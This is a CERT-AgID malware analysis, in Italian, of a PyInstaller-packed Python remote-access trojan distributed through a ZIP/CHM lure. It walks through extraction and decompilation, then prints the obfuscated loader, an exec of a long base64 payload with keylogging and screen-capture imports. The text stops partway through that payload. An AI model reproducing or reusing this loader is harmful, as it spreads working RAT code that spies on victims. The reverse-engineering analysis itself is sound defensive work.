Analisi di un PythonRat individuato su un dominio italiano
python rat
Il CERT-AgID, su segnalazione di Malware Hunter Team (MHT) che ha recentemente pubblicato un Tweet riguardo un payload rintracciato su un sito italiano (ripreso anche dal ricercatore italiano JamesWT), ha analizzato il contenuto del codice malevolo.
La campagna non sembra essere italiana e l’utilizzo di un host appartenente ad un provider italiano è puramente opportunistico.
Stando anche alle informazioni riportate da MHT, la campagna utilizza un file ZIP, con all’interno un file in formato CHM, per avviare una reverse shell in powershell.
I ricercatori di MHT hanno poi determinato il payload fatto scaricare dagli attaccanti.
Deoffuscazione del payload
Il file scaricato dal dominio italiano, zohoservice.exe, è un PE. Una veloce analisi con il comando strings permette di capire che siamo in presenza di un eseguibile sviluppato con Python:
$ strings zohoservice.exe
[...]
_PYI_ONEDIR_MODE
[...]
xwheel-0.38.4.dist-info\INSTALLER
xwheel-0.38.4.dist-info\LICENSE.txt
xwheel-0.38.4.dist-info\METADATA
xwheel-0.38.4.dist-info\RECORD
xwheel-0.38.4.dist-info\REQUESTED
xwheel-0.38.4.dist-info\WHEEL
xwheel-0.38.4.dist-info\entry_points.txt
xwheel-0.38.4.dist-info\top_level.txt
zPYZ-00.pyz
4python38.dll
$
La stringa _PYI_ONEDIR_MODE
è tipica di PyInstaller. Una volta identificato il tipo di eseguibile, non rimane che estrarre i file con il bytecode python. Fortunatamente esiste già uno strumento in grado di farlo: pyinstxtractor.
$ python3.8 pyinstxtractor zohoservice.exe
[+] Processing zohoservice.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 65439634 bytes
[+] Found 1019 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: mini.pyc
[+] Found 847 files in PYZ archive
[+] Successfully extracted pyinstaller archive: zohoservice.exe
Dall’output dello script si nota che l’unico entrypoint non facente parte del runtime dell’installer è il file denominato mini.pyc
.
Questo file può essere decompilato tramite decompyle3.
$ decompyle3 mini.pyc > mini.py
Ottenendo il seguente codice offuscato.
import socket, os, sys, subprocess, keyboard, threading, platform, requests, struct, PIL, time
from vidstream import ScreenShareClient
from mss import mss
import random as _______, base64, codecs, zlib, time
time.sleep(48)
exec(base64.b64decode('X19pcm1fb2JmdXNjYXRvcl9fID0gIiIKaW1wb3J0IHJhbmRvbSBhcyBfX19fX19fLCBiYXNlNjQsIGNvZGVjcywgemxpYjtfPWxhbWJkYSBPTzAwMDAwT09PMDAwME9PTyxjX2ludD0xMDAwMDA6KF9PT09PMDBPTzBPMDBPMDBPTzo9Jycuam9pbihjaHIoaW50KGludChPTzAwMDAwT09PMDAwME9PTy5zcGxpdCgpW09PMDBPME9PMDBPME8wT08wXSkvX19fX19fXy5yYW5kaW50KDEsY19pbnQpKSlmb3IgT08wME8wT08wME8wTzBPTzAgaW4gcmFuZ2UobGVuKE9PMDAwMDBPT08wMDAwT09PLnNwbGl0KCkpKSkpO2V2YWwoIiIuam9pbihjaHIoaSkgZm9yIGkgaW4gWzEwMSwxMjAsMTAxLDk5XSkpKCJceDczXHg2NVx4NzRceDYxXHg3NFx4NzRceDcyXHgyOFx4NWZceDVmXHg2Mlx4NzVceDY5XHg2Y1x4NzRceDY5XHg2ZVx4NzNceDVmXHg1Zlx4MmNceDIyXHg1Zlx4NWZceDVmXHg1Zlx4NWZceDVmXHgyMlx4MmNceDcwXHg3Mlx4NjlceDZlXHg3NFx4MjlceDNiXHg3M1x4NjVceDc0XHg2MVx4NzRceDc0XHg3Mlx4MjhceDVmXHg1Zlx4NjJceDc1XHg2OVx4NmNceDc0XHg2OVx4NmVceDczXHg1Zlx4NWZceDJjXHgyMlx4NWZceDVmXHg1Zlx4NWZceDVmXHgyMlx4MmNceDY1XHg3OFx4NjVceDYzXHgyOVx4M2JceDczXHg2NVx4NzRceDYxXHg3NFx4NzRceDcyXHgyOFx4NWZceDVmXHg2Mlx4NzVceDY5XHg2Y1x4NzRceDY5XHg2ZVx4NzNceDVmXHg1Zlx4MmNceDIyXHg1Zlx4NWZceDVmXHg1Zlx4MjJceDJjXHg2NVx4NzZceDYxXHg2Y1x4MjkiKTtfXz0nODE4Nzc5NSA2MTY2NTY2IDY2OTk4NCA3MzIzNzgwIDgxMDE5ODAgNzczODM2IDE1NTIwIDQ4NDQxNDUgNDI0MjMwOSAyNTAyMzI0IDQ5ODg3NjggMTA1OTY5MiAyNTk2MDggMzIwODMwNCAyMDc5ODA4IDgxMDgxMDYgNTk1MTQ4MCAyNjExNDAgMTM1NDY4OCA5ODI1MTQwIDkyMzkzMTggNzAxMzM5MCAzODM3NTkyIDI5NjQ1NzYgOTMzNjM5MCA4Nzc2Mjg3IDcxNDEwNjQgMjg2Mzk1MiAxODE3Mjc0IDE2OTI3NSA0NzIyNjk2IDY5NDQ1NTggMTI1OTk0MCA3ODI1NzUgNzQ4MzUyIDU3MzAyNCAzMTQ1ODAwIDM0ODExNjcgMjE4MjExNCAyMDA1ODY0IDQ2OTIxOTIgMjM5ODcxMyA0NzExODQ4IDc2ODcyMDAgNDE5NDk2MCAxNjM5NDg4IDExNDkyMzUyIDI0NzgzMiA3NzI0NDEyIDk0MDk1NjQgNDQ3NDcwNyA2MDk5NDAwIDY2MTQ0NzUgMjgzOTg3MCAxMDQ4MjMxIDg5MjgwNCAyNTMwNDAwIDc5NDg0MTYgMTAwNzczNzIgNzI3MzU0NSA1ODYxOTQ0IDM1NjY5NDAgNDE5OTEzIDUzOTMxMTIgODQ0MDQxNSAxNTcyNDcyIDI3Mjc3NzYgNDgyMDQ5MCA0MjgyOTA1IDI3NDE4MzIgMTMyNjg5NyAzOTY3MjggOTkxNzI1NSA4NDAyNDYwIDEwMjQ5Mzc1IDExMTEwNDQgNTMxOTA0IDcwMTczMCAxMDExNDI3MiAxMTEzOTg1MiA5NjkwNjQyIDE3NzIxOTkgNjA5MjA4OCAxNjg4MDYwIDIyMDE4MjQgODYyMTYwIDE5NjIwMjEgNjEyMjEwNCAzNzgzMTY0IDE5NDI2ODggOTA3NjQyMCAyMDMwMTc1IDc5NDAxMDUgNjEwOTA4NiA3ODQ2OTAgNTgzNDI5OCAyNzM3MTQgNzgyMTA2IDg4NTI1NDQgMjM5NTIwIDk5MTIwMDAgODAwODM1MCAxMzAzMjAwIDUyNDI1MDUgMTA0NDExNjAgMTYzMDg4NCA5MzQ1MTI2IDY2NzMzMDkgMzg4MDQgMjAwODc2OCA4MDE4ODUwIDkxNzQwOTQgNjIzNzUwNCA3MjIxMTA1IDU2NTg1MDQgMzA1OTUwMCA5MTA2NTYgMjc2MzIzNiA3NDU1NTkxIDE5ODk4NzAgNjY3NDk4OSA1MzA2NTQgNTExNTIyMCAyMTY1NDcgNDQ2MTM5MiA1Nzc5OTM5IDQyMjA4NTAgODA5OTc5NiA2MDgzMzMyIDM1MzQ2MjQgNjg0ODQxNSA1MzczODA2IDE2Njk5MTAgMzk0NCA4MzcyNTAgNDE3ODk0MCA4MjQwNDkwIDU4Mjg4MzIgMTA1ODkzNTAgMTc0NTUwNCA5ODc1MjkxIDQ5MTUxMCA5NDM1ODY1IDE4Njc5MzYgNDg1ODg3NSAxMDg5MjQ3OSAxMDMxMzk2OCAxODQ0MDQzIDI5MzEwNTQgOTY5NzQ4NCA1OTEzMjggOTkyODkxOSAyNTg2MjM1IDI5NzM3ODUgOTA4MjEwIDQ1NzYwMDAgMTA0NzMwOSAzMjQ4MzM2IDI0MzYxOTIgMTU5MzI1OSA0ODIzMzYgMjQyNjg4MCA3MDkxNTkwIDQ1NTQ0NCAxMDA2NTM3NSAzMjI1NDc0IDg3MDc1OTMgMTA5ODEwNTAgMTEzMjQ4NSA1NDAzNDU2IDI2NjQwMjUgMTEwNTYzMiA3MTA0NDU2IDM4MTgxMjUgODkwMTMzIDc3ODY4MCAxODkzNTUxIDQyNTQ2NjMgNjk5NTAxNiAyNTE0NDAwIDMwNzg0ODcgOTY1NTY4IDY2NjA0MCA5MDU3MjYgMzYwNTIxMiA0NDU4MjAxIDQ4MTI1MiAxNTQxOTA0IDQzNjk5NTAgMzI2NDg5NiAzMDYwNTMwIDQzODI1MTEgMTEyMDc0NCAxNzg5NDggMTc5MDAxOSAxNjAzNTc2IDE4NDY4NDUgMjYzMzA1MiAxNTEyMTkyIDUwODg1NjAgMTk0NjcxOCA1MTQzODYgMTMwMTkxNiAzMjA3MzYgNTY0MjUgMTU0MjIwOCAzNTM0Mzg4IDQzMDg5MjggMjk0MjEzOSA4NTIxMDggMjQ3NjIzMCA5ODQyNTYgMjYyNjgwIDY1NzcyMTUgNTk0ODM5MCA0OTQ1NzgwIDI0MTk0MTYgNzcyMzkwOCA2ODcxNjggNDQwOTMyNCA0ODM4NzIgMjI4NDEzNSAyMzAwMDE2IDI1ODA5NjggNDcwNTU2OCA1MjE5ODExIDUzMDE3ODAgNDAxOTE2NiAyMzgwMDYgMTg5NDUyOCAzMDU3NTU0IDU4MjY5MTIgMjUzODQwMCAyMjg5MDQwIDc3NzMxOTAgNTEzMjUzMCAyMzU2MzY4IDY0MjU5MzkgNDY3NDAwMCAyOTg2Nzg0IDI4NDA0MDQgMzE4NTkyMCAzNTg1MzAgNTExNTg0MCA3OTU5NzAwIDQyOTQwNzcgNTg1NzA0MCA0ODEwNTIwIDIzMTc4MTIgMjUxODI5NSA0MDMyMDAwIDEzMzU3MzIgNzcyNTg3NiA1MTA0MjEyIDYwMDEzNCAyMjE4NDU5IDM0NDczNiAxODA4NjY0IDc5NDc3NTUgNzUyODUwIDY2NDQ0MDAgNjQ3MjMzOCA2NjUzOTcyIDY3NTAyMjUgMjg0ODM5NCA2NTc3NjY1IDc4OTU0MzAgNTk3MjIyNiA2Nzg3MiA1OTUyNjg1IDEwODk5NTIgNjg5OTM2IDIxNjQ4NDggMTQ0MjMyOCAzNDcwNTgwIDE0OTk2NjIgMjMxMTgwOCA0Mjk0NzE5IDEwNTYzMzE1IDM2ODk2NTAgODA2NTU2OCAxNDgzNzA0IDc1MjA0NiAxMTg2ODE2IDU4NDg1NTggMjE4ODkyOCAyMTk3NDAwIDk0MTQwOTAgMTM1NTg4NiAzMDg5MjY4IDI1MzQ4NDAgOTI2MjYyNyAyMzc2MDE1IDgzODY2MjUgMzM0MTc5MiAzMDE0MDc0IDIxNzM5MjAgMzczNjY0NyAyNDAwOTYgMzYxNTM2IDM1NTkwOCA0MjA3MzUwIDg5NTEzNjAgNzk0NDcyNCAyNTk0MjgwIDk1NzIzMSAxMDg2NzIzMyAzMzU4NTA4IDExNDA0OTYgODIyMjA0MCA3OTYwNDE2IDI3NzExOTAgMTUyMTcwIDEyNTU0MTAgMTE0MTQ3ODUgNDE0Nzg2NiA3NjE2MjI0IDEzNjQxOSA4Nzk5NjE2IDQ1MDg2NCAxMDgxMDAzMCA4MDE4NDAgNTU1NDMwOCAxNTYxMjg3IDcyNDIwNzggOTg1MTIzNyAxNDg0MTI3IDIyMjUyOCA2MDM2NTA0IDExOTAzMDAgNjI3MDAwMCAyMzg1NTM2IDc4NjQyMCAyNDkxOTIwIDE1NzQwMjUgNDUxMTkxMCA1MTQyNTk4IDk4NTcyMCAxNjU3NTgwIDYxODgwMCAxOTY2MTk2IDcwNjA2MTAgOTQwMDU2IDY0NDI4NzggMTU3NDgzMiAxMjY4NTM1IDM1ODMxNzUgNzg3MTcyIDMzNTQwOTAgMjE3ODA4NCAyMDI3MzEyIDMwMjcwOTMgMjA1MTYzIDYwMjE5NjAgNzI4MTQ1NiA4MjMzNDE5IDU4OTgzNjAgNDIyMzA4MiA2NDIwNTE5IDc3NDgyNDAgMTI4NjUxNiA2MjA1MTg1IDkzMzA2NTEgMTEzMjA2NTYgMjUyMjAzMSA2NjMwNzg1IDM4NDI5MzEgOTc4NzQxMCA5MjMwMDA0IDcxMzY5OTIgMzQ4MzIxOSAxMTcwNzUwIDQwNzA3NzAgMTQzMzAwIDI3OTIyMDUgODQ0NDM1OSAyMTUxOTk1IDI2MjUxMjggMTcyMDM1OSA1NTM2MDg5IDM1MDIxOTQgNjc3MzUzOCA5NDAzMjAxIDY3NTExNDAgNzIzMTU1NiAyOTk1MTIyIDk1NDAyNTggNDcxNTI2OCA1MjA0NTU1IDk2MzgzNzAgOTUxMzkyMSA3MDczMjIwIDcwMzgwMCA1MzI0MTc4IDEyNDEwMTkgNDgyMDk3MCAxMDI3MTQwIDE4NjA4OTYgNDQxNzcxOCAzMzg3MDcyIDExODQzMiA2MzQ4Mjc2IDIwNTgxNzggODExMjIwNyA2MzYxMjAwIDgyMzg2NjggNDU3NzkyNiA1Mzc1MjUyIDI4NzU1NTIgMzk4NjgyMiAzODYxNjQwIDIyMDc5NjggMTA2MDAxNCAxOTczMTkzIDI4Nzc4NDMgNzQ1NzUwMCAxOTk1MDcxIDEzMzczMTAgMjE0NDUxMiAxNDY0NjYxIDQ0MTUwMDAgNDgzNjQ4IDE0MDYwMDIgMjUyOTc0MSA3MTU2MzE0IDI2NzY4NzYgNzAyODMyMCA0OTcyMjQwIDEyOTUxMzYgNjYwODAyNiAxMTg5NTUwMCAxNTQ2Nzk2IDI3MzEwOTIgMzIzMDkyMyA4MjcwMjAgMzM3NjgwMCAzOTM3Nzg4IDY3MjgwMjIgNDc3NTA0IDYxMTM4NDQgMTY2MjU1MiA5NjM5MjEwIDY3NTgwMTEgNDgyMTg1MCA0NjE5MTIwIDY2MjY3MjUgMTU2MTU4NSAxMDc3MjkyIDQzNzcxMjUgODQ2ODgzMiAxMTg2NjggODQ0NDgwIDE2NjIzODYgMzg3NTkwOCA5MTgyNDAgMzg3MDQwIDIyMzYwMDAgNTM4MjQwIDc0MTQwOCA3Nzc2MjAwIDg1MzUxMDYgMzE3NDAzNiAxNTA0MzIwIDc2ODYwMjYgODE1MzgyIDIyNTY1NTUgNzkwMjUxMCAxMzY5MjQ4IDMyOTMwODAgMjU3MzczNCAxMDc4ODAwIDQ4Mjg0MCAzMzM3OTIgMjg3MjI4OCA0NTc0NDAgMTI1MjgwIDc5ODk0NCAxNDM4ODQ4IDMxMzk3NzYgMjg5NjY0MCA0MTc5MDA2IDEwMTQxOTY1IDU4OTE5MzYgNDQ0MDMwIDI3NDY1OTAgMzkwMjg5MiA5NzY1MjAxIDQ5NTI5NzAgNjI2NDk2IDI1MDA1MTIgMTU5NTUyMCAyNTg1NzQ1IDExMTU0ODg1IDQyMDgzNTYgODI2Mjc2MyAxNjYwMzM5IDc3NTY5MiA3MDY4NDkyIDY5MTY3NDMgMTU1NjEyNCAyNzAwMjg1IDg3MzczMCAzODY4MDAwIDMzOTc5NTcgODU3MDkzIDI0MDE2MCA2OTI0ODgyIDYyMzAzODcgNDgzNjc4NSAxNTI4MzAwIDg3MzIzNSA0MDMzOTIgMzMyMDA0NyAxMzkxODQwIDU1NzYwODUgNjkyOTQ0MCA0NTk2MzIgNDEyOTQ3NiAyODQ0NTY0IDEzMzkzMzYgNzEwNzcwNSA1MzU1IDUwNTcwMCAyNjEzMDAwIDIzNDExIDM3MTU4MDMgNDE2NzM1OCA5NjAzMDIgNjIzOTU1NiAyNjk2MDAgMTAwNDIyNCAxMjY5NzYwIDI0MTY5NiAyMTk1ODQwIDMzNDcyMCAyMTU5NzQ0IDE3NTM1NjggMjY3Nzc2MCA3ODg4MjAwIDkzNTQ5MjMgNzQxNzk1MCAxNTMwNTYwIDcxMTkyOTQgMTA5OTM3MDQgNTAwMDI5NiAzNzYyMzIwIDIyMzcyMDAgNDE0NzcyMCA0NDk5ODcyIDMyMzM4ODMgMzY5Mzg1NCA1MTkwNTk0IDE2Nzc2MCAzMTAzMjMyIDE3MzkyNjQgMjA1MzA4OCAxNjA1NjMyIDEwNDcwNzIgNjA0MzUyIDIxMDg1NzYgNTQzNjE2IDQ1NTUyMCAyNTk0MzA0IDExODEwMjQgMTAzMjg2NCAyMzY5MTcxIDc0NjE2MTUgNDYzNjUyIDIzODg1NjggMzAwODk2MCA1NDQ0NzcyIDIwNDI3NjggOTE3NDUzNyA4NzIwMTQwIDIxMTcxNjAgNTI5Mjg4MiA4ODU3MCAzNzM5ODE1IDUyNjI5OTYgNDg3MTUzMyAyOTYxMzY1IDExNDUxMjg4IDQzNTA4ODUgMTQwMDM3NSAyNTIyNDIgODA5ODM5MiA4MDc3OTY4IDI2Mjk2NDUgMTMyNTk1MCA2OTIxNDI5IDU0MTA2NjggMTAzNDEyNjAgMTQ3Njk2OCA3OTkxMTIwIDU1MTA4OTIgNDQ5NDIwNCAxMDg2ODk5NSA4NzE1Nzk1IDc2NTMxNjIgNTI3ODEzMCA2ODIwNDU4IDIyNzk1MTcgMzI2Mjg3NSAxMTMwNzM3NSA0Njg2MDIwIDkxODI1MjAgNDUzMjU4MCA3Mjg4OTYgMTA2NzMxNTIgNTc2NTA0IDE1MjgxMzggMTAxNDQ4OTYgNTAxOTM2MiAxMDMxNDEyIDEzMTYzMzYgMjQ1NDI2MCA5MTE4MDk1IDExNDE1OTMgNjgxOTY5NCA2NzczOTcwIDQ5NjkxNDAgMjU0ODUyOSAxMDc3MTM2IDY0MDI1NTYgNDA2MDAwOCA3OTU1MzY2IDEwODI4MjkgOTk3NzY4OCA0NzYyMTIyIDQzMjA2NDQgNjgzNTYwMCAyMDM1MjcwIDExNDIzMjE2IDIzODI2MDAgMTA2ODI3ODggMTQyNjY0MCA5MDk4MzIgMTQyMjYyOCAyMTUzOTgyIDE5NzUzNjYgMTY2MzkwMyAyNTI2MDggODI2NzQwNyAyNzIzNTQ1IDkzOTI2NCAyNzI4OTA4IDM4NTQyMzUgNDczNzQyMCA0MDA3ODgyIDM0OTU2NjAgMjIxNzI0OCA1MjA5MDM4IDg1MTEzMDAgOTg0NTE3MiA5MjUyNTA5IDU5NzcyNCAxMTUyNTM4OCA0NTg1MzA4IDM0ODAyMjUgNTc5MDcyMCA0OTMxMTIzIDE4MzE2MDAgOTQwNjEwMCAxOTU4ODE4IDgyNzA2ODQgNjEwMjI3IDEyNjE0ODggNjI1MjUwIDEyMzk4NzIgMjU4MjMzNiAzMDU5ODA4IDE0NjQ2MDggMTgxNzUzNiAyNjc2NzM2IDY3Nzc5MiAxMTQyNTYwIDI2ODcwMCAxNDM2MzIxIDQ2NTcxMTYgMTUyMTUzNiA4Njc1MzA0IDY5Mjk5NDMgOTI1ODI1OCAxMDg3ODQwIDkyNzg2NzYgMzMwMzI0OCA2MTEzMDM3IDEwODc2NTEyIDM5NzEzNDIgMTM1MzAyNCAzMzY0NzAgODc4ODQ4IDE0Njk0NzIgMjYzNDIwOCAzMDg5MTIwIDE3NzMwMjQgMzE4NjA0OCAyNzE1NzEyIDI1Nzg0MzIgNTc5NjgwIDIzODE2NjQgMjg2NjE0NCA0NTMxODQgNTE1OTM4NSA4NzI1NDg4IDExMTA0MDAgMjU1MDI0IDc0OTI2ODAgMjUwODMyMyA1ODI4MjUwIDE0Mzk2MTYgNDg4NjcxMCA1NjkyMDkzIDQ4OTE1MiAyNTcwNzA2IDgxNzEyMTAgMjYwNTU2OCAyODg0NTg2IDkxMTM3NDIgNzM2OTk3IDI3MjU0NDAgMjU1MTc2OCA2Nzc1MzYgMjY1NzExMiAyMTAyNDE2IDEwNzc1OTM2IDM3NzQzMDMgNzU5NzQxNiA0NDU1NDQwIDU4MDQ0OCAxMDA5MTU0IDE2MjE2MDAgODM5OCA1Mzc1MCAxMTI4OTYwIDEyMTY1NDQgMTgzMzUwNCAxMzc1OTA0IDQ5OTI5NiAyNDQyODgwIDI2NjEwMjQgMTk5MDg4MCAxMzUwMjcyIDIyMjQ3MDQgMjk0MDA5NiA5NTkyNjQgMzA4MjUyIDYzOTYzMDAgNjQ4NTExNSA3MzYwNjI2IDUxODQgMjExMDc1MiAxNTY0MTg3IDE4NDA2MzAgMjUzMjI0MCA1MzI5MTcwIDYxODk1NjAgMjI1MDU5NCA3ODI1NTMwIDI5OTkwMjcgMjUyOTkyMCA1MjU5Mjc0IDEwOTUxMzYgMjIwMTE3OCAyNzY0ODYwIDMxMzY0ODAgNTUyMDEwOCAxNDMzNzk2IDI0ODYxMTIgODk2OTIyIDEwNDM5NDM2IDkxOTIzNzAgMTY5NDc4NCAyODAxNjAwIDEzNDA1MjEgMjY5NTI2NSA5NzMwODQwIDI2Nzk5ODEgMjIyNDE3OCAxNDQwNDE2IDE2Nzc1MDYgMTgxOTY0OCA1OTAzNjY3IDM5Mzk5MzYgNjM1MDQ5MyA3MTgzMzY4IDcxODIwIDY0MDc2OCAyMTEyNTc2IDU4MTYzMiAyMjcyMjU2IDE2NDEyNDggMTgyMDE2IDE5ODcyIDI1MTIwMzIgMjM3NTY4MCAyNzgxNTY4IDgyNjQ5NiAyMTEyMTYwIDg0MzAyNjggNjYwMzU1MiAzNTQ2NjAgODg2ODYwOCAzODA0NjI2IDE5NDMyNjQgNTIwMzQxNiAxMDA2NDE0NSAxMDI2MDc4MCAxMDAwMDkyNiAyMjQ5NTYyIDg1ODIzMTAgMjQwNjQwIDYyNjA3NiA3ODc3ODk2IDE2Nzg4NzYgODY1MDc3NiA5OTIyOTAgMjQwNDIyNCA1OTQ4OCAyMzAwNzY4IDI3NDU0MDggNzQ2Nzg0IDI2MjYwODAgMjgzNDg0OCAyMDAyNTYwIDU2MzM5MDAgNDExODQ3NyA4NzYxODAgMjM3OTUyMCA0NjUxNTYwIDExODgxNDQgMzU2NzUwOCAxMzAxNDgwIDMwNzU5NTUgODAyNTE4IDQxNDEzMDMgOTgxOTE1MCA0NTcwNDAwIDMwNTA2MDUgNDQ0MDcxMiA3NDQwNjQgMTEzNjA1NzMgMTIxMDU2NiAyNTE3NzgwIDE4NTM5NjAgODcwMTUxOCAyMTA5ODUyIDk4MzQ0NDAgMjk5ODg4MCA1MDMxNzE5IDUwMzYyNDAgNjg3ODYwNSAyNDQwNjgwIDM3NTM3NiA0MTM4NjIwIDEwOTc4MjIwIDM0ODczNDQgMTAyNjY2MDEgNTI5ODY2MiAyODY5NTkwIDMwMzY3MDYgNTQyNjAwIDEzMzE1MjAgMjM0ODg5NiAxOTc3ODg4IDI0OTM5ODQgMjAwMDAgMTU0NDk2MCAxMzg3NTIgMTMwMzM2IDYwNTQ5MTYgNjIxMjcxMiA1Njg3MDAgOTI3MjI3MCA3MDQwOTUyIDE1NzI0NjcgOTM3OTAwOCA5MjY4MDAgMTU3OTY0IDg0NDE4ODMgOTIwOTIwIDY0MTkxNSAyMzA2OTc2IDYzMzk1NCA2MTY5NTg1IDI0MDYyNjAgMzM1OTM4MCAxNTg2NjQwIDc4NjA0NTYgOTc3NTIxNSAxOTk3NTgyIDIwODEzMjQgNDI1MjAxMiAyNDE1ODcyIDE4ODczNzMgNzQ1ODQ0NiAxMTM5OTI4OSAyMjg1MzYwIDYyODIzNzggNzkyNTY3NiA3MDMxMDY0IDM3MDcwMDAgMjU3MTM1NCA5NDYyNDA0IDc4NDQzOSAxNzcxODc1IDkyNDEwMjQgMjA4MTIwMCAyMjYwMjA3IDQxMjUwMCAxNjY3NzQ0IDIwMzM4NTYgMTI4Mjg4IDI1ODkyODAgNDI0NzAwMCA1ODg0MDU4IDM0NDIyOTYgMTU3NDMwNCA2MDgxNjYwIDc2MTIwMTEgMzY2ODk3NiAzMDU0NjQ0IDI0MTA4NyAyMjg5MTAwIDU5OTU2MCA3MjExNDkgNDk4Njg0IDg1ODY4MCAzNTE1ODQgMzExOTIwMCAyNDE3NzkyIDI3ODUwODggOTM2NjQgMjIyNTkyMCAxNDAxNDcyIDg2Nzg0IDExMjM4MDMwIDUwMTM2NDAgMjM0MDY5MCA3MTA0MzAwIDg1OTI4NzggOTQ2ODk1NCAxMjE1NTIwIDExOTYyNzEgNTQxOTUyIDQzNTA2OTQgNDU1NTM4NiAxMDQ1MTUyMCA0MzMwOTgxIDIxNjI4MTQgODQ2OTQ1MCA3Njk0OTMgMTIwNDMyMCA1MTkxMTQ5IDczMTE3MzIgMTA0MTIwOSAxNjkzNzYgNjA1Njc0OCAyNzk1MTAwIDIwMTc3NzggMTA1OTc1MTAgODk4MTE4NCAyNzcxNTIwIDQzNTYwNzIgNDk0OTc0NSA0MjA1NjEgNjYxOTk1NiAzNTk2NTYwIDgyNDE5MiAzMDI3MTQ4IDIyNzI0ODEgNzA0NDc2IDMwOTI0OTcgMTU3MDIxOCAzNzIyNzIzIDc1ODQwIDI0MDg2MjQgMjQ2NDI1NiA2MDk2MDM1IDEwNTAxNzYgODEyMDgxMiA4Mzk1OTIwIDEwMTI4NDQ0IDUxOTU3NDMgMjY5MDU4NiA2NTE2NTAwIDEzNjc0MTUgNDg1NTYyMCA3MDMyNDI4IDQ0MzUwNDQgMzM2NjA0OCA1NjkwMDQ4IDY1OTE3MDggNTkyNDY2IDM1Njk3OTQgNjQ0NDQwMCAzMDQ4NDgwIDI0MDk1NTIgMTY3MTc5NSA4OTczODUyIDQzNDg0NTQgMTUwMTY2OCA5NjU5Nzg0IDM4MzgyNDIgMTAxODc2MjAgNDUyMjQ3NyA1Mzg1NDkwIDM2NTg5MDAgMTk4NTg2MiAyNjM5MzI4IDcyOTU2IDEwMTczNDc1IDI0MDYzMDQgNzg4MDA4NiAxMTE1NTI0MiA4MDU4ODY4IDIzMzM4NjUgNTQ3NzU2NSA5MjcxMzAwIDQyODg2ODAgMjE5Nzg2MSA4ODUxNjM4IDUwNTY5NDYgMjc2MTg4MyAyMjI0NzEzIDgzNzIxNiA4OTg2MDU2IDIwNzcyNjggMjE3MjU4MCA3NDI0MDAgMTgyNjAyNSAyMDA1MjYgMzk1MjEyIDMyNDk5MjAgODQwODI4IDkxMDAxNiAyODkwNjI0IDY1MDc3NDYgMjYyMTYwMCA1NTY3Mjg3IDExMTA0MDAgNDUwNDA5MCAyMzgyMzg2IDQ3NDEyNjAgNDc4MzM2MCAyMjI4Nzg3IDU2NDc4MzQgMjgwOTU2MCAxNzUzNTYzIDE5MzIyODggMjk4OTUwMCA1MTk4MjMyIDIxOTA3OTQgMTEzNTUxMCAxNDE5NDAwIDY1NTA1NTcgOTc5MDExIDEwNjEwNzEyIDU2NDc1MDAgNDc4MjY1MyAxODU3MTYwIDMxNDMzNDcgMjMzMzAgMTQ5MDkxMiAzMTUwNzIgMjc4NDEyOCAyMTU1ODcyIDE2OTU0NTYgMTM1OTY0OCA5NjI4NDggOTU0NTYgNzQ2ODc1NSA0NjY5NzY0IDEwNTY4MDAgMTIzNzk3NCA4ODU4OTAwIDE4NTEwOTYgMjU1ODQzMiAyNzk0NDcwIDU1MjM3NjAgNzc4Njg4IDE1NTg5MDUgMjYzMTQ2MCAyNjYyNDAgNDk4NDQ0NSA5Njc4NzI5IDEwMzk3MDkwIDU0OTIwMDAgNzM0ODQ1NyAyOTI0NDQyIDIzODc0MCA2MzIyNTg1IDU4ODQ5MTIgMzU5ODM5OCA1ODg1NjAwIDM5NTA1NzUgMjEyMjY3MCAxMTE5MTU2NCA2ODcyMTQ4IDQ1NzE1NjMgNDE0MDU0MiA0ODk5MTE0IDIzMTIzMjAgMjc3ODk4MCAzNDE1MCAxNzc1MjAwIDE3NDM2MTYgMjY5NDI0MCA3MzU3NDQgMTY0MjcwMCA3ODIzMjU4IDkwNjE5ODYgOTg2NDAwIDg4MzQ0MzAgMjg0NjYxIDYwOTM0NTAgMzI0ODcwMCA0MjM4NjMwIDY3MTc2NDUgNDk1MDAxNyA1MDIyODAwIDEzMTY4NDAgNzM3NTQwMSA0NTgzMTkwIDYzNjkzMDYgNDM5NjE4OCAxMTUxNDg1IDMyMDA4NDYgNzg2ODAwIDI2ODgwNjQgNTk0MjA4IDgxMDA4MCAzMDc0NDY0IDExOTIzNTIgNTA4MjI0IDEyNDA3MzYgMjY3MzUzNiA3NDM1ODc4IDY2NjMyNjcgNDY1NjA4MCA2NDI4NjY0IDYxMzg0NDQgMTg2MTMwMCAyNDMyMjU2IDUwOTc4OTIgNDE0NDAgNzIyMDYyMCAxMDkxMzk5NCA1NzQzNzgwIDI0NDY2NDAgNzU1MjcyOCA1OTIyNjI3IDg1NjEyMjMgMTExMDE5MiA1ODg0MzIwIDM5NTI0MzUgMzk4MTg1MiA1NDIxNjAwIDY5ODg0NDkgNDA3NzI0OCA1MjMxMjk1IDYwNzE2NzAgMjM3NTgwMCA4MzA0ODEzIDM4NjY2ODUgODkzMDU4OCA4Mzg4NDIyIDQzNTM0NDggMTE2Mjg4MCA3NDc1MzEyIDI0NDM4OTcgNjE5NDg4MCAxMTc3MjAwIDI0NTE1MjkgMzc1Mzk2IDEwMzIzMzg0IDQ0MDU1MTggNDkxNTQ2OCAxMjg4NDA4IDUzNDY5MjUgNjI4NTU3NiA4MzI0MTAwIDYwMzY0MDIgMzEyNTA3MCA3MjMwMjggNTY0NDYzNSAxNzMzNzQwIDc5MDkzMTcgNTEyNzE2NCA0NDI5MTUyIDU5MDQyODggNDM3MjI5MCA2MDg4Njk4IDgxMjcxNjcgMzE3NTk1NSA1ODEyNjc1IDI2MDQ3OTYgMjk4Mzg0MCAxMDg3OTE5IDYxODA4MDAgMzc2NTMzMCAxNjU5NTQ4IDEwOTk4NjAgMTIwMDM2OCA5MjcxMDAwIDk1MTA2NjUgNjE3OTM3MCAyMTEzOTAyIDE1OTQ2NjIgMzIzMDY5NSAzNTk1OTk1IDk3NjYzODYgMTEwMjUxNjggNTcwMDY4NCAxNzg4NjU0IDE0MDc5NzggNjYxNjUxMCA5MjEyODgwIDEwOTk5NzUgNTE2MTIgMjEzNTYwMC